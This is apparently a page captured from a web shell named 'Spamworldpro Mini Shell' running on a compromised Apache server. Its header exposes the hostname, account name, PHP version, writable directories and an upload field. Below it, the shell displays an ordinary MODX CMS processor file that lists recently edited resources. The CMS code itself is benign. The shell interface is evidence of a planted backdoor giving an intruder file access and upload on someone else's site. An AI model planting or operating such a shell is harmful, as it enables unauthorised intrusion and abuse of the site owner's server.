Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/www/core/model/modx/processors/system/activeresource/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/www/core/model/modx/processors/system/activeresource/getlist.class.php
<?php
/**
 * Gets a list of active resources
 *
 * @param integer $start (optional) The record to start at. Defaults to 0.
 * @param integer $limit (optional) The number of records to limit to. Defaults
 * to 10.
 * @param string $sort (optional) The column to sort by. Defaults to name.
 * @param string $dir (optional) The direction of the sort. Defaults to ASC.
 * @param string $dateFormat (optional) The strftime date format to format the
 * editedon date to. Defaults to: %b %d, %Y %I:%M %p
 *
 * @package modx
 * @subpackage processors.system.activeresource
 */
class modActiveResourceListProcessor extends modObjectGetListProcessor {
    public $classKey = 'modResource';
    public $languageTopics = array('resource');
    public $permission = 'view_document';
    public $defaultSortField = 'editedon';

    public function checkPermissions() {
        return $this->modx->hasPermission('view_document');
    } 
    public function getLanguageTopics() {
        return array('resource');
    }

    /**
     * {@inheritDoc}
     * @return boolean
     */
    public function initialize() {
        $initialized = parent::initialize();
        $this->setDefaultProperties(array(
            'dateFormat' => '%b %d, %Y %I:%M %p',
        ));
        return $initialized;
    }

    public function prepareQueryBeforeCount(xPDOQuery $c) {
        $c->innerJoin('modUser','EditedBy');
        $c->where(array(
            'deleted' => 0,
            'editedon:!=' => null,
        ));
        return $c;
    }
    public function prepareQueryAfterCount(xPDOQuery $c) {
        $c->select($this->modx->getSelectColumns('modResource','modResource'));
        $c->select($this->modx->getSelectColumns('modUser','EditedBy','',array('username')));
        return $c;
    }

    public function prepareRow(xPDOObject $object) {
        $objectArray = $object->get(array(
            'id','pagetitle','editedon','username',
        ));
        $objectArray['editedon'] = strftime($this->getProperty('dateFormat'),strtotime($object->get('editedon')));
        return $objectArray;
    }
}
return 'modActiveResourceListProcessor';

Spamworldpro Mini